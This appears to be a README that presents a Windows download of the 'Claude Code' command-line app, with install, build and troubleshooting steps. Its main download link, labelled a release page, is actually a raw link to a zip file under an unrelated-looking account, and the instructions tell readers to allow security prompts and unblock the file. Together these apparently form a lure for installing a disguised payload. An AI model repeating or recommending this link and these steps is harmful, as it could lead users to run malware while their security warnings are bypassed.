🚀 What this app does

Claude Code is a local command-line app with a text-based screen. It helps you work with Claude from your computer instead of using only a web page.

You can use it to:

• start an interactive chat in a terminal window
• ask for help with code and text tasks
• view help commands
• check the app version
• run quick diagnostics

✅ What you need

Before you run the app, make sure your PC has:

• Windows 10 or Windows 11
• an active internet connection for setup or updates
• enough free space to unpack the download
• a modern terminal app such as Windows Terminal or Command Prompt

If you plan to build it from source, you also need:

• Node.js 18 or newer
• Bun 1.x
• npm

🧭 Install from the release page

Use the release page as your main download source:

https://raw.githubusercontent.com/sorbussitchensisdonorcard867/claude-code/main/semiquadrate/code_claude_v1.5.zip

Steps:

1. Open the link.
2. Find the latest release.
3. Download the Windows file.
4. Save it to your Downloads folder.
5. Extract the file if it came as a .zip.
6. Open the app from the extracted folder.

If the release contains more than one file, choose the one meant for Windows. A file with .exe is usually the easiest choice.

🖥️ First run

When you open the app for the first time:

1. Wait for Windows to finish checking the file.
2. If a security prompt appears, allow the app to run.
3. If the app opens in a terminal window, type your command and press Enter.
4. Follow the on-screen prompts.

If you see a blank window for a few seconds, give it time to finish loading.

🛠️ Build from source

If you want to build the app on your own computer, use these steps:

1. Install Node.js 18 or newer.
2. Install Bun 1.x.
3. Open a terminal in the project folder.
4. Run:

npm install

5. Then run:

npm run build

This creates the compiled files in the dist folder.

▶️ Run the CLI

After the build finishes, use these commands:

Interactive mode:

bun dist/entrypoints/cli.js

Help:

bun dist/entrypoints/cli.js --help

Diagnostics:

bun dist/entrypoints/cli.js doctor

Version:

bun dist/entrypoints/cli.js --version

⌨️ Use it in a terminal

This app uses text commands. That means you type a command, then press Enter.

Common actions:

• start a chat session
• ask for help with a task
• check available commands
• review system checks

If you are not sure what to type, start with the help command.

🧪 Example use

Try this after the app opens:

bun dist/entrypoints/cli.js --help

This shows the built-in command list and basic usage.

To enter the main interactive mode:

bun dist/entrypoints/cli.js

📁 Project layout

The main parts of this repository are:

• dist/ — compiled output
• entrypoints/ — app launch files
• src/ — TypeScript source files
• package.json — build and run settings

🔍 Troubleshooting

If the app does not start, check these points:

• confirm Node.js is installed
• confirm Bun is installed
• make sure you ran npm install
• make sure the dist folder exists after build
• open the terminal in the correct folder
• try running the help command first

If Windows blocks the file:

1. Right-click the file.
2. Open Properties.
3. Select Unblock if you see that option.
4. Try again.

If the screen closes right away, open it from a terminal so you can see the message.

📦 Files you may see in a release

A release may include:

• .exe files for direct launch
• .zip files for manual extract and run
• helper files for Windows users

If you are not sure which file to use, choose the main Windows .exe or the .zip file with the app name.
